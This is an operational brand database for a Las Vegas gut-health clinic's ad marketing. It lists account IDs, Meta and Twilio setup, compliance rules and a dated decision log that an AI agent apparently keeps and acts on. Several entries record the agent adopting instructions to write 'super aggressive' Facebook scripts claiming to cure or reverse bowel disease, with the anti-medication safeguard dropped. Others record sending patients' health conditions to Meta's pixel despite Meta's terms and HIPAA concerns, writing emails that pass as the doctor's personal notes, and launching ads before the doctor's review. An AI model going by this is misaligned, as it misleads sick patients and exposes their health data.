Mgi — Brand Database (BRAND.md)
The single source of truth for every durable fact about this brand. Any note David sends
(inventory, suppliers, accounts, contacts, decisions) is filed HERE the same turn it arrives —
before any context compaction. Memory files only POINT here. Never store secrets (tokens, keys,
passwords): reference the env file that holds them. Keep entries dated. Hub renders this file.
0 · Identity & entities
| Field | Value |
| Legal entity / owner | Phyto Health Physicians Trust, sole member Chanukya (Chanu) Dasari: IRS CP 575 G dated 2021-03-01, which addresses him as "sole mbr", i.e. a single-member LLC. Address on the letter: 710 Coronado Center Dr, Suite 200, Henderson, NV 89052. The EIN is on the letter (David has it); it is deliberately not stored here. Patients see the brand "MGI Clinic"; /sms-terms names the entity as its operator (2026-09-28, for 10DLC vetting). |
| Key people & roles | TO FILL |
| Support email / phone | Clinic line (725) 224-5668 (mgiclinic.com tel: link). Dr. Dasari calls discovery-call patients FROM this line (David 2026-09-28), so every booking text names it. Clinic = Mind-Gut-Immunity Clinic, Las Vegas NV (locations Las Vegas · Henderson · Summerlin). |
| Brand relationship | TO FILL (own brand / client / partner) |
1 · Products & SKUs
| Code | Product | Size / format | UPC | Formula / spec source | Supplier |
| TO FILL |
2 · Inventory & supply chain
| SKU | Units on hand | Location / 3PL | Lot / mfg date | Shelf life | COGS (landed) | MOQ / reorder lead time | Updated |
| TO FILL |
Notes: TO FILL (fulfillment partner, shipping SLA, packaging on hand — sample packs, inserts).
3 · Offer & pricing (locked)
TO FILL — retail, compare-at, tiers, subscription, guarantee, OTO chain, shipping policy, launch code.
4 · Accounts & IDs (no secrets)
| System | ID / handle | Notes |
| Domain(s) / DNS | www.mgiclinic.com (main) · www.mind-gut-immunity.com (noindexed mirror, same WordPress, same page IDs) · book.mgiclinic.com → Railway (bex267yu.up.railway.app) · academy.mgiclinic.com → Kajabi | DNS at GoDaddy (mgiclinic.com ns39/ns40.domaincontrol.com; mind-gut-immunity.com ns67/ns68). www on both → wp.wpenginepowered.com = WP Engine's own Cloudflare layer, so no Cloudflare account/edge rules on our side. WP Engine strips gclid, utm_*, fbclid before PHP (cache HIT with them; the PHP apex→www redirect drops them but keeps other params like c=), so any WordPress-side redirect loses attribution; page cache max-age 600 s (checked 2026-09-29). We hold SSH/SFTP only, no WPE portal login. |
| Netlify site (id · team) | TO FILL | |
| 29next store / campaign | TO FILL | |
| Meta BM · ad account · pixel | BM 346005566680842 ("Chanu Dasari MD") · ad account act_1777184009460625 "MGI Clinic" (USD, Pacific; adscaler system user reads + launches since 2026-10-07) · pixel 1289579869100647 "MGI Clinic Pixel" (kept; "MGI 2.0" 1105072425284871 retired) · Page Mind-Gut-Immunity Clinic 238118679393069 (the only promotable Page) · IG @mgiclinic 17841416438351152 · audiences in clients/mgi/tracking/meta-audiences.json | CAPI token → env file only. Health-restricted data source: optimize LANDING_PAGE_VIEWS; bookings counted by utm_content = AD### |
| GA4 property · measurement id · GTM | GA4 G-NT802KR1FL · GTM-NBQBWTR8 (Ads 408-427-8533 tags; writable) · GTM-N2GDXJ8 (GA4 config + pixels on www; old account 841; read-only for us) | NBQBWTR8 Ads tags, read from the live container 2026-09-29: bEyk… Discovery Call Booked $50 (primary) on /thank-you-confirmation/ load · EdvH… Button Click (the campaigns' bidding goal) on any link click whose URL contains /discovery or text "Schedule Discovery Call" · IhtW… Discovery Page View on /discovery/ load · rLrd… Calendly (on-domain) + lJ0G… Date & Time Selected via the Calendly listener (tag 35) on /discovery/ · XHqX… tel: click. |
| Klaviyo org | TO FILL | |
| adscalerads client · Airtable base | TO FILL | |
| Cookie / event prefix | TO FILL | |
| Booking app (cal.diy) | https://book.mgiclinic.com · Railway, repo davidsanghera/cal-checkout (main auto-deploys, ~13 min) | Checkout /checkout/mgiclinic/discovery; SMS terms /sms-terms; SMS webhook /api/sms/booking-events; replies /api/sms/inbound. Secrets → ~/.calcheckout/secrets.env only. |
| Klaviyo | Account VqpLhz "Mind - Gut - Immunity Clinic" (sender: Chanu Dasari M.D & The MGI Team) · 23 lists; booking list so far = "Leads from Calendly" U8pS4f (2,410 profiles, double opt-in) · others: Newsletter U2raia, Form Leads SmGvVp, Purchased $4,800 Course in Kajabi RMkWEu, condition sign-up lists, 5 persona lists (2025-06-27) | Private key (Lists + Profiles) → ~/.calcheckout/secrets.env only (pasted in chat 2026-09-29: rotate later). The Klaviyo MCP connector here is WAM's account (S47K8v), NOT MGI's. Booker sync = cal-checkout lib/klaviyo/booker.ts (1c70ee5d88): email + name + call time, never phone or condition. |
| Twilio (booking texts) | Account ACba0852ab03871ea0ad7ba27f09a7e9e2 (Full since 2026-09-28) · number +1 (725) 350-2176 PN1215d084e4cc6d7ddad5e6777d2b398d · Messaging Service "MGI Clinic booking texts" MGb4af495a791a207db5ee88dbae4c4478 | API key/secret → env file only. Calls to 350-2176 forward to the clinic line. A2P 10DLC (2026-09-28, submitted by Claude in David's Chrome, David typed the EIN): customer profile BUb39f58e5edd8e24a5a1c301d79583aaa (Primary, submitted) · brand BNfc12aa72e2ece0e64ff298010bed5ca1 APPROVED 21:28 PDT, identity VERIFIED, TCR BWEJ3FY, Low-Volume Standard ($4.50) · A2P bundle BUd242fe7e0c6b30804e834b65a82a8dab · campaign QE2c6890da8086d771620e9b13fadeba0b (console CM21fb230e365bb…) Low Volume Mixed ($15 vetting + $1.50/mo) IN_PROGRESS, est. 2–3 weeks. Texting blocked until the campaign is approved. Authorized rep = Dr. Chanukya Dasari (his mobile ends 1427 = the old trial-verified number; David's test phone ends 0987). |
5 · Compliance ceiling
- Words (Dr. Dasari): never cure, fix, heal, reverse; use question framing. Never advertise refund guarantees. Never "free" (the call is $50). Every asset: our pass 1 → Chanu pass 2.
- Facebook video scripts — the owner's ruling (David, 2026-10-29): "since these are for facebook, we can use cure, fix, heal or reverse, so please be more aggressive on those video scripts and forget that rule. Also this rule doesnt apply: No patient counts, success rates or timelines until you confirm the numbers in writing. Nobody is told to stop or skip a medicine, and remission is only ever asked, never promised. Please make super aggressive." For
video-studio/scripts/mgi/(round 3 on): b1 lifted; x1–x6 usable as HE says them (his Google winner + his 2024 videos — never a number of ours); q1 stated; the 2026-10-27 never-anti-medication rule off; b5 (the viewer's condition) at full strength and reported for the officer. Still binding: free / guarantee / refund (not lifted), mechanism, the Truth Gate as the only source of fact, CL-11, CL-13, a real presenter. Facebook only — Google rejected the outcome words (2026-08-28). Dr. Dasari's own 2026-07-28 word rule stands on record; his page states the lift first and asks for his cross-outs;briefs/mgi/truth-gate.mdcarries the ruling; the audit'smgiblock reports the lifted words, fails only free / guarantee / refund. - Google: health policy disapproves outcome claims ("I REVERSED UC IN 6 WEEKS" image rejected 2026-08-28). Watch approvals ~24h after launch.
- Meta (researched 2026-10-05; Meta Business Help Center + Transparency Center, practitioner reports flagged): - Meta classifies the DATA SOURCE (domain) as Health & wellness, and the category can't be edited, only reviewed. Three tiers: core setup strips URL after the domain + custom params; restricted standard events blocks mid/lower funnel; full blocks all events. Pixel AND Conversions API alike. - Meta lists no blocked events. Practitioners report Purchase, Lead, Schedule, Contact, AddToCart, Subscribe blocked and PageView/ViewContent usable, so optimize for Landing Page Views. Custom events stay blocked until confirmed. Our tier shows in Events Manager → dataset → Settings → Manage data source categories. - Custom audiences/conversions that imply a condition are flagged (enforced from 2025-09-02). URL-rule website audiences may be unavailable under core setup. Patient/lead lists from a condition clinic count as health-based. Lookalikes inherit flags. Engagement audiences (video viewers, Page/IG engagers, Instant Form openers) are not restricted. - Ads describe the SERVICE, never the viewer ("Do you have Crohn's?" breaks the personal-attributes policy). No cure or timeline claims. Health is NOT a Special Ad Category. Instant Forms can't ask health questions without Meta's permission. - Never: a new pixel/BM/domain to escape the ban, neutral domains masking health pages, quiz answers in events/URLs, condition names in URLs, page titles, event or audience names, or email/phone to Meta. Pixel
autoConfigoff. Allowlist our domains. - OVERRIDDEN by David 2026-10-07: "WE can send conditions to Meta, its all good. No rules needed." Our own no-condition-to-Meta rule is lifted: the booking page's?c=<condition>stays in the address the pixel reports (the strip was proposed and NOT shipped). Meta's terms are unchanged (its event-review prompt: no data "based on health" incl. event names), so the exposure is Meta's enforcement on the pixel, which David accepts. Google's no-condition handling (GA4page_locationstrip) is untouched. - Measure bookings in OUR system: UTMs with AD### in utm_content → BookingAttribution + GA4. - HIPAA: HHS online-tracking guidance (partly vacated 2024-06-20) still argues for counsel before patient-page pixels.
6 · Decisions & taste log (dated, David's verdicts = ground truth)
- 2026-11-03 — The media plan lives on Media Plan HQ, as the Funnel map (David: "a simple spreadsheet doesn't work" → four template lanes → "lane D." → "lets make a mediaplan-hq.netlify where we house these … update all the reference links and remove all the old boards"; the schedule board: "Move it into Media Plan HQ"): https://mediaplan-hq.netlify.app/mgi/ · its schedule board https://mediaplan-hq.netlify.app/mgi/schedule/. Each round is the path a buyer takes (targeting → budget → ads → landing page → goal) with the counts on every step and the 30% page bar on the drop; the plan page names no other brand. Retired: the 2026-11-02 sheet (Copy Sheet HQ's Media plan tab), the Launch Center plan page and board (their addresses forward to the HQ), the design-lane boards.
- 2026-10-27 — A third quiz: tell the surgeon your story (MG-P4). David asked "How would you re-do the quiz knowing waht you know now?", then said "yes lets take verything you said and lets start a new quiz based off of this". The picks from that answer are now his: - One quiz. The A/B tests only the opening line: three of his 👍 hook-bucket lines, by
?v=. - Questions as confessions. "Which of these is your life right now?" and "What did your doctor say the last time?", including "it's just stress". - The result is their story on one card, the first of his five causes he'd look at, then the call. His five levels only pick the Klaviyo list. - The case card replaces the five guides. - Never anti-medication: "I won't tell you to turn it down". - 3 evidence photos, not 16 still lifes.
For this quiz, that overturns two earlier picks: his five levels as the result (MG-P2) and the root-cause profile (MG-P3).
Both quizzes stay built. Dr. Dasari's pass 2 and his photos at 19 and now are open (§8, §10).
- 2026-10-27 — The rivals David watches in the gut / IBS / IBD market (his marks on Ads running now, then "take a look and start ingesting what makes them good vs bad"). WATCH (12): Crohn's Colitis Lifestyle · Rorick Health Clinic · Oshi Health · Nerva · Trust Your Gut · Dr. Zacharie Cole · Fix your gut with Ayurveda · Diet vs Disease (Joe Leech) · nutritiontherapy.co · The Loose Leaf Tea · tryalmape.com · perfectdigestion.com. IGNORE (1): Gastro Health – Virginia, the practice ad (a doctor's headshot, a symptom list, "accepting new patients", insurance). Taken back: holior.com. Our read (no notes from him; pending his correction on the board): he watches a real person who lived it, filmed on a phone; ads that open on the patient who did everything right and is still sick; that **say the advice was wrong and name the one thing missed; that say the body out loud; with pictures that look like evidence; about our patient (a bowel diagnosis), not the wellness market**. For MGI: Dr. Dasari on his own phone with his IBD-at-19 photos and a hand-drawn gut (Crohn's Colitis Lifestyle is the closest model); the opening is the patient who has done the biologics, the steroids and the diets; real patients on their own phones (consent + his pass 2); never the practice ad. Words stay inside his ban (§5). The full read with the transcripts:
ads/research/gut-health/landscape/TASTE-r1.md(§10). - 2026-10-26 — Quiz headlines come from the patients' own words, and their word is bathroom (David's Copy Studio note cf-i7v7zg2p on quiz 1 §01 "You know where every restroom is in the grocery store.": "I need better headlines, is this actually what people say? We need to do a Hook Studio and Hook buckets for this category, and Angle Studio."). The VoC round 1 (56 Reddit quotes,
briefs/mgi/angles/voc/) says the experience is right and the word is wrong: the bathroom life is the top theme, "bathroom" 16 times in 12 quotes, "restroom" twice. The next quiz headlines come from David's 👍 lines on the hook-buckets board (askmgi-hook-buckets-r1), not from us. The community polices "no meds" posts (622 and 499 upvotes), so no line in this lane says "stop" or "instead of medication" (§10). - 2026-10-21 — The booking page never blocks a patient on how they typed their details (a prospective patient wrote that she tried for days, on several phones, computers and cards, and kept getting "check your name, phone, and email"; David: "Is there a way we dont have to validate these fields at all and just accept them for what they are?", then "go ship it" on the plan). The engine's own check stays (the confirmation needs a real email, Dr. Dasari needs a real number); the page fixes the slips before sending, checks with the engine's rule before payment, names the one field an engine refusal is about, and every booking error ends with the clinic line, (725) 224-5668 (§10).
- 2026-10-20 — Quiz copy and design changes go through the Copy Studio (David: "Let's do a copy studio for this because I need to change a lot of the things on the pages and the design"). https://launch-center-hq.netlify.app/mgi/copy/ — quiz 1, quiz 2 and the booking page; design notes go in the same box as copy notes, per screen (§10).
- 2026-10-19 — The quiz start photo is a placeholder too (David, pointing at the start-screen still of Dr. Dasari: "this should be a placeholder for both quizzes"). Box 00 on both quizzes: a new portrait of him, a real photo or a likeness made from his real photos with his OK; the 2024 still stays in assets/ only as the reference.
- 2026-10-19 — The quiz images get generated; gray boxes until then (David: "lets put a gray box where the images should be because we need to generate them"). Both quizzes carry eight numbered gray boxes (his first note, the email screen, the guide covers / the cause cards, the call section); the PubMed screenshots stay. Shot lists:
prelanders/mgi/quiz/IMAGES.mdandprelanders/mgi/quiz-causes/IMAGES.md(§10). - 2026-10-19 — A second quiz from our own questions (David: "maybe we also do another angle of the quiz, where we make our own questions based on the landing page and keywords that are converting on google ads"). Picks: framework #2 · **angle MG-A03 GO** (true or false: remission requires steroids or biologics; picked over MG-A05, a new inflammation angle, MG-A01) · result = a root-cause profile (his five causes, the reader's top three; picked over his five levels and level + causes) · quiz 1's look + a Web Interface Guidelines audit. Built as MG-P3 (§8, §10). Remission stays a question (q1).
- 2026-10-17 — A quiz prelander by Dr. Dasari (David: "Lets make a quiz prelander by Dr. Chanu Dasari", with Dr. Dasari's eight questions and his five levels; "We need to link this with Klaviyo… tomorrow I'll make sure to get Klaviyo access"). David's picks, all four the recommended ones: framework #2 Doctor's Investigation (he hosts in first person) · angle MG-A02 GO (IBD at 19, now the gut surgeon who calls you himself) · **email before the result, skippable; Klaviyo gets email, first name and the level, the answers stay on the page · three design lanes on a board** for his pick. Defaults taken with them: the two questions that carry his level names decide the level; the address is book.mgiclinic.com/quiz/; the booking button sits at the top and the bottom of every result. Built as MG-P2 (§8, §10).
- 2026-10-17 — CL-14 deleted house-wide (David, on the quiz prelander: "Dont worry about Copy Law CL-14. Thats an old law. Delete it"). Copy may be written in Dr. Dasari's own first-person voice on any surface; the 2026-10-07 email override below is no longer needed. Still binding: his words ban (§5: never cure, fix, heal, reverse, "free"), the Truth Gate, and Chanu pass 2 on every line.
- 2026-10-16 — Rounds take a new shape: videos three to an ad set, seven statics in one (David: "So lets modify the rules of the rounds. 7 Statics in One Adset. 3 video Ads per Adset. This is how we can test more and get better data. Lets use this moving forward."), and a page has to send more than 30% of its readers on to the booking page (David: "in the round system, in the prelanders need a over > 30% click through rate from LP to the PDP. That should be included in this, because we need to switch rounds if the LP has low CTR, then we know its a LP problem"). Y1, Y2 and C10 now share one $50 ad set (COLD-R1 regrouped, dry run clean); a second ad set of three ready library videos takes the round to $100; a statics ad set waits until MGI has statics. Answer pulled from the Launch Center the same day:
mgi-retarget-budget= "$50 a day (10 · 20 · 20)" for the parked retargeting tiers. - 2026-09-02 — BRAND.md created.
- 2026-09-28 — Booking texts: local Las Vegas 725 number over toll-free (David). Dr. Dasari calls from the clinic line (725) 224-5668, and every text that announces the call names it. Texts never carry a condition or diagnosis. Patient replies get one auto-answer pointing to the clinic line (at most every 12 h). Copy:
clients/mgi/COPYCHIEF-r3-sms.md(texts, checkout consent line, /sms-terms, HELP/STOP). - 2026-10-07 — Conditions may go to Meta (David: "WE can send conditions to Meta, its all good. No rules needed"). Lifts our no-condition-to-Meta rule (§5). Not shipped as a result: the
?c=address strip before the pixel loads. - 2026-10-07 — Abandoned-booking emails are written AS Dr. Dasari: casual, lower-case, like a real email from him (David: "the abandon cart email should be casual, like an email from Dr. Dasari, like 'hey {name}, how are your symptoms? you didnt book a call, but i wanted to follow-up to see how you were doing.' very casual, lower-case, mimicing a real email from Dr Dasari"). Overrides CL-14 for these emails; Dr. Dasari approves the words (pass 2). Plain text, one plain link, no button or logo, signed "dr. dasari", replies invited (join@mgiclinic.com must answer).
- 2026-10-07 — Abandoned-booking Email 1 APPROVED (David on the casual draft: "this is a good one"). **Subject for BOTH emails: "Re: your scheduled call"** (David: "subject line one Re: your scheduled call. for both subject lines"); same subject + sender, so most inboxes thread E2 under E1. Sender = the address Dr. Dasari's Klaviyo emails use: "Chanu Dasari M.D" <Support@mgiclinic.com> (David: "send it from the email that dr dasari replies from ... the klaviyo sender/reply-to works"). Klaviyo read 2026-10-07: account default sender Support@mgiclinic.com; 39 live flow emails send from Support@, 18 (EVERYONE flow) from join@, 1 from awareness@; NO reply-to set on any, so replies land in the from inbox; his own "How are your symptoms doing?" check-in (Calendly NON BUYER flow) sends as "Chanu Dasari M.D" <Support@>. dasarimd@mgiclinic.com appears only as a BCC on the new-member welcome (likely his own inbox; a reply-to option if he answers from there).
- 2026-10-07 — Booking-page video moves to right above "From patients" on phones (David: "So I think we move the video to right above From the Patients on Mobile"). Desktop unchanged (video under the headline). Measured as before/after on phones, from the deploy time (no split test). Readout (read-only GA4 funnel, phones vs the unchanged desktop, P(after better) per step):
python3 clients/mgi/tracking/video_move_readout.py(before Sep 17–Oct 7, after Oct 8–today). - 2026-10-08 — Back to TWILIO (David: "Switch back to Twilio because SendBlue is not good for us. It's too expensive."). Sendblue dropped the same day it was chosen; its code stays behind SMS_PROVIDER=sendblue.
- 2026-10-08 — Booking texts move to SENDBLUE, officially (David: "I want to switch to SendBlue instead of Twilio for texting. Officially."). Twilio retired (its 10DLC campaign was rejected Sep 28; nothing ever delivered).
- 2026-10-09 — Meta retargeting launch: GO on the next steps (David: "Lets move forward and start the next steps for launching this retargeting campaign. we ned to put the ads int he ad sourcing studio and all that"). MGI runs the house ads sequence (
skills/jt-ad-pipeline/SKILL.md§VIII): registered as a master brand, our 2024 Meta ads on the J&T board for his keep / kill first (§9 2026-10-09). - 2026-10-13 — COLD PROSPECTING FIRST, retargeting PARKED (David: "Okay lets switch to prospecting, cold campaigns instead of retargeting." "for Chanu"). Layer one: one page (MG-P1, the fix-ibd page), three ads per 3-day round, one $50 ABO ad set per ad ($150/day proposed), ages 25–65 US, the seven warm audiences excluded, OUTCOME_TRAFFIC / LANDING_PAGE_VIEWS, bookings by utm_content. The Oct-12 tiers come back as layer two once cold has built the pools (
retargeting_parkedin the twin). - 2026-10-12 — Retargeting destination = /fix-ibd-naturally/ for ALL tiers (David: "lets send hot tiers and warm to the fix-ibd page. because honestly i think people may have forgotten about it. and we can make it a note to etest it in the future."). Page code MG-P1 (pages-manifest). The booking page (MG-01) as the destination = a LATER TEST, on record.
- 2026-10-12 — Meta retargeting media plan PROPOSED, awaiting David (plan
briefs/mgi/media-plan-2026-10.md, hub doc/docs/mgi-media-plan-2026-10): one campaign, one $15 ad set per retargeting tier + $5 to the abandoners ($35/day), one ad per tier at a time, 7-day rounds, LANDING_PAGE_VIEWS to MG-01. Decisions open on the Launch Center: budget · the 2024 text port · the story texts in his voice or about him · the noun lock ("The Mind-Gut-Immunity Method", his own words) · angle board r1 · the truth gate · keep/kill on the boards · the go. Dr. Dasari = pass 2 on every line before anything runs. - 2026-10-07 — Meta retargeting tiers: hottest = Abandon Carts; hot = Booking page opened, with Played the video as its own slice (the video sits on the booking page, so its players are hot, not warm); warm = site visitors + FB/IG engagers. Exclusion everywhere = Pressed pay.
- 2026-10-27 — Cold round one: $100/day, and David reviews before the go (David: "for MGI Clinic, lets launch some video ads to the current ibd page, lets see how it converts. Where did we leave off?" → budget pick $100/day for the one three-video ad set (Y1 · Y2 · C10 → MG-P1 fix-ibd); on Dr. Dasari's pass 2: "Let me see the media plan and what you wrote and the videos" — so no launch yet: the plan page (/docs/mgi-media-plan-2026-10, Candidates tab), the cold copy doc (/docs/mgi-cold-copy-r1) and the three masters pulled from Meta were put in front of him).
launch/2026-10/COLD-R1.json: status PAUSED (the midnight rule postdates the plan), budget 100; dry run clean on the live page. Still on Meta: nothing live since May 2024. The go = his word in chat (asksmgi-cold-go/mgi-cold-budgetstill open on the Launch Center). - 2026-10-27 (17:58 PT) — COLD ROUND ONE LAUNCHED — the first MGI Meta spend since May 2024 (David, after the review: "go, launch it for midnight"). Campaign
120248581163780539"MGI — MG-P1 fix-ibd · Cold · ABO $100/ad set" ($100/day shared across three one-video ad sets, see §10) → https://www.mgiclinic.com/fix-ibd-naturally/ (utm_source=facebook · utm_medium=paid · utm_campaign=mgi-cold · utm_content={{ad.name}} → the click keeper → bookings by ad code): AD001 Y1 six mistakes · AD002 Y2 root cause · AD003 C10 five people, each with its five headlines × five texts (the chiefed cold lanes), US 25–65, Facebook/Instagram/Messenger, Advantage+ audience off, the seven warm audiences excluded, OUTCOME_TRAFFIC / landing-page views (Purchase and Lead are blocked on the pixel). Created PAUSED;tools/ads_schedule_on.py(from /dev) flips it ACTIVE at 00:00 Oct 28 PT. Dr. Dasari's pass 2 did not happen before this launch — David reviewed the plan, the copy and the three masters himself and gave the go; the copy doc stays up for the doctor to read while it runs. Day 1 = Oct 28; the plan's bars: off early under 1-in-100 clicks after 2,000 views or a cold booking-page rate; keep at a paid booking ≤ $150 or booking-page opens ≤ $10; maybe = one more round. - 2026-10-28 (11:04 PT) — COLD ROUND ONE RELAUNCHED ON AddPaymentInfo; the traffic campaign OFF (David: "we messed up on the mgi clinic launch, we optimized for traffic, we want to optimize for the lead event right? or schedule event?" → the funnel's events shown → "lets optimize for AddPaymentInfo" → "and relaunch it right now, and turn the old one off"). Lead and Schedule are dead on the pixel (nothing sends Lead; Meta blocks Schedule outright); David chose AddPaymentInfo = card details entered on the booking page (74 in 28 days) over CheckoutPaid (22, recommended) and InitiateCheckout (134). Traffic campaign
120248581163780539paused 10:58 PT through adscaler after $47.96 on its only morning (226 landing-page views at $0.21, CTR 8.2%, zero booking-page opens). New campaign120248595200300539"MGI — MG-P1 fix-ibd · Cold · AddPaymentInfo · $100/day shared" created ACTIVE at 11:04 PT on his word — over the midnight rule, for this relaunch only: the same Y1 · Y2 · C10 as AD001–AD003 with their copy sets, US 25–65, Facebook/Instagram/Messenger, Advantage+ audience off, the seven warm audiences excluded, OUTCOME_SALES / OFFSITE_CONVERSIONS on pixel event AddPaymentInfo, $100/day shared across three one-video ad sets; ads in review at launch. Bars unchanged: booking-page open ≤ $10, paid booking ≤ $150; day one = Oct 28 from 11:04 PT; no verdicts on day one. - 2026-10-28 (11:40 PT) — Cold ads round two, the candidates: 52 headline lines on the Hook Studio + three primary-text sets, waiting on David (David: "what about our competitors? How about using our copy frameworks to make headline and primary text ideas"). Built the house way (CL-20/21/22): from his 24 👍 bucket lines of Oct 27, the Reddit VoC, the Truth Gate TRUE ids and the rivals he watched (structure only, CL-13), through buckets and devices, chiefed (52/52 PASS), tagged with angle IDs. Headlines = hooks.md batch 2 (14 angles; MG-A04 retarget left empty) on https://copy-sheet-hq.netlify.app/mgi/?tab=hooks ; primary texts =
briefs/mgi/cold-copy-r2.md(MG-A03 true or false · MG-A01 the food list · MG-A02 the surgeon who calls; five headlines + five texts each; ledgerCOPYCHIEF-cold-r2.md, 8/10) at /docs/mgi-cold-copy-r2.html. Competitor read in the doc: what the eight watched rivals lead with, the natives' opener shape (the patient who did everything right + a read command), and the one thing none of them has (the surgeon who was the patient and takes the call himself). Open for David: 👍/👎 the 52 lines, pick the sets per video, GO on MG-A01 (still a candidate; the live videos run on it by his word). Dr. Dasari's bans hold in every line; the news numbers carry their sources for the officer. Askmgi-cold-copy-r2on the Launch Center.
- 2026-10-28 — Video scripts from the rival's ads (David: "We need to use our playbook to make video scripts for MGI Clinic based on the new ads from Crohns Colitis Lifestyle ads"). Crohn's Colitis Lifestyle's page re-pulled from the Ad Library the same day: 22 active ads, six launched 2026-10-27, twenty never transcribed before — all pulled and transcribed (
video-studio/scripts/mgi/CCL-STUDY.md: seven structures). Four scripts on the two GO angles, each the structure of one rival ad inside his truth: 01 Nineteen (MG-A02, the founder story), 02 Told for Life (MG-A03, told-for-life → what nobody asked → the question → the call), 03 Five on a Whiteboard (MG-A02, the numbered explainer with the drawn gut), 04 A Real Patient (MG-A03, a run-of-show: the patient's answers are captured slots with edit rules, never written). Dr. Dasari is the only presenter, on his own phone; every claim a Truth Gate id; his bans, the viewer's-condition rule, the held claims and never-anti-medication are now themgiblock of the script audit. Both gates pass; the house chief's pass became round 2 the same day (one beat fewer where a beat repeated, the body said once, the question up to beat three, the format in every close;COPYCHIEF-r1.md). The reads run 73–78s at the render's pace (about 70 at his); the rival's run 41–100s. The weird twenty (WEIRD-TWENTY-r1.md) on the review page. For David (§9): judge the four with the audio; cut a beat or hold the length; which three shoot first (01–03 are one ad set; 04 waits on a patient). For Dr. Dasari (pass 2): his one true sentence about nineteen, his photos at nineteen and now, a patient for 04 with consent. - 2026-10-28 (17:30 PT) — The copy sheet: every headline and primary-text idea is judged on one spreadsheet-style grid, never a doc page (David: "all copy and primary text ideas needs to be put into a spreadsheet style judgement system" · "not this random page" — the rendered cold-copy-r2 doc). Built the house surface for it: https://copy-sheet-hq.netlify.app/mgi/ — 112 rows (the 15 round-two headlines, the 15 primary texts, the 52 hook lines of batch 2, the 30 headlines and texts running live on AD001–AD003), 👍 / 👎 / note per row, sort, filter, search, CSV. Nothing judged yet; the ask
mgi-cold-copy-r2now points there. A 👍 headline or text becomes a NEW ad in round two; a 👎 on a live line is swapped out next round; MG-A01's set still waits on his GO on the angle board. Copy law CL-23 from this.
- 2026-10-29 (10:30 PT) — Layer two staged: retargeting straight to the booking page, $50/day, waiting on David's go (David: "We can run retargeting campaigns straight to schedule a call page for MGI clinic for those audiences that initiated checkout and didn't buy, and all the other stuff, for $50/day."). The Oct 12 tiers un-parked with two changes: the destination is MG-01 itself (the Oct 12 'later test' is now; the checkout reads utm_content off its own address on a direct landing, so BookingAttribution still carries the ad code) and the budget is the fuller option, $50 = T1 $10 · T2 $20 · T3 $20. 'Didn't buy' = the $50 call unpaid, so two audiences were built through adscaler's /api/audiences the same morning: P 'MGI | Paid the call | 180d (exclusion)'
120248618834710539(CheckoutPaid, the exclusion on every retargeting ad set) and A2 'MGI | Started booking, not paid | 180d'120248618834890539(InitiateCheckout minus CheckoutPaid — the card-entered-not-paid people, whom X 'Pressed pay' / A 'Abandon Carts' left out: about 50 of the 74 card entries in the 28 days to Oct 28 did not end in a paid call). X and A stay untouched (they sit in the live cold campaign's exclusion list; A ⊂ A2, X ⊂ A2 ∪ P). Meta reports every website pool on this pixel as 20–20 (under its 1,000 floor or hidden on the health-restricted source), the Page / IG engagers ~1,000. V1 / V2 (the 2024 foods videos trimmed before the 'reversing' line, 30.8 / 30.6 s) and V3 (biologics, 43.5 s) uploaded through the relay:1433966324857456·1138118028810395·1127031520300656(tools/jt/one-offs/mgi-retarget-2026-10/uploads.json). Planbriefs/mgi/launch/2026-10/RT-R1-BOOKING.jsondry-run clean: campaign "MGI — MG-01 booking page · Retargeting · AddPaymentInfo · $50/day ABO", PAUSED, OUTCOME_SALES / OFFSITE_CONVERSIONS on AddPaymentInfo (the cold campaign's event), 18–65 US, FB/IG/Messenger, Advantage+ audience off; AD004 V3 → T1 (in A2, out P) · AD005 V1 + AD006 V2 → T2 (in B + V, out A2 + P) · AD007 V1 + AD008 V2 → T3 (in D + C1 + C2, out B + V + A2 + P). Copy = the Oct 12 chiefed sets for this destination, r1.1 one line (T3-P2 '38-second' → 'half-minute';COPYCHIEF-meta-retarget-r1.md); the five sets are rows on the copy sheet (round 'plan RT-R1-BOOKING'). The Oct 12 planR1.jsonremoved (superseded). Askmgi-retarget-go(the audiences · the ads per tier · the split · GO); on the go:ads_launch.py … --go(PAUSED) thenads_schedule_on.py --at 00:00. Still open: Dr. Dasari's pass 2 on the three sets. Twin:media-plan-2026-10.json→retargeting(layer 2, STAGED); doc: /docs/mgi-media-plan-2026-10.html, the first block. Cold day-one read at 10:00 PT (both campaigns, since 10-28): AD002 $78 · 191 LPV · CTR 4.9% · AD001 $38 · 86 LPV · AD003 $7 · 23 LPV; no paid booking by ad code yet.
- 2026-10-29 (13:21 PT) — Layer two LAUNCHED PAUSED on David's go ("go, launch it paused and turn it on at midnight"); ON at 00:00 PT Oct 30. Campaign
120248621018920539"MGI — MG-01 booking page · Retargeting · AddPaymentInfo · $50/day ABO": five $10 ad sets, one per video (Meta runs one ad per dynamic-creative ad set, so T2 and T3 are two $10 ad sets each; the tier totals as approved, $10 · $20 · $20): T1 AD004 V3120248621019260539· T2 AD005 V1120248621137860539+ AD006 V2120248621140260539· T3 AD007 V1120248621141810539+ AD008 V2120248621144330539; the ad sets and ads sit ACTIVE inside the paused campaign; launchd agentcom.davidsanghera.ads-on-20261030-0000(+ its sleeper) flips the campaign ACTIVE at midnight through adscaler's toggle route. The first--gocall built T1 on Meta and then adscaler's database write failed (the plan's video ads carried nocreativeImageUrl; the Page picture is the house placeholder, as on the cold plan) — state written from Meta's read-back, plan fixed, resumed at T2;tools/ads_launch.pynow refuses both causes in the dry run (a video ad withoutcreativeImageUrl; two text-variant ads in one ad set). Askmgi-retarget-gowithdrawn (answered in chat), update posted on the lane. RT1 = Oct 30 → Nov 5; the read every morning with the cold campaign's (ad_codes.py report --brand mgi --pages). Still open: Dr. Dasari's read of the three copy sets — a line he turns down comes out the same morning.
- 2026-10-29 (afternoon) — The opening line names its noun (David, on scripts 01/02: "At 19, a doctor told me it was for life." — "What was it? What was it for life?"). The answer is in the Truth Gate (d2): his inflammatory bowel disease, diagnosed at nineteen. Round 2.1: the hooks of 01 and 02 say "my inflammatory bowel disease was for life / lifelong" where they said "it" — the 2026-10-07 WAM rule applied here too: a video line never leans on the picture or the next sentence for its noun. Whether the doctor named Crohn's, ulcerative colitis or just IBD is not on record — asked of Dr. Dasari on his page ("Your words for nineteen?") and in §9; his word replaces ours. Both gates re-run (01: 206 words, 76.1 s spoken → 80 s window; 02: 210 words, 80.7 s → 86 s; audit ALL PASS); the review page, the versions board and his page rebuilt; his launch board redeployed.
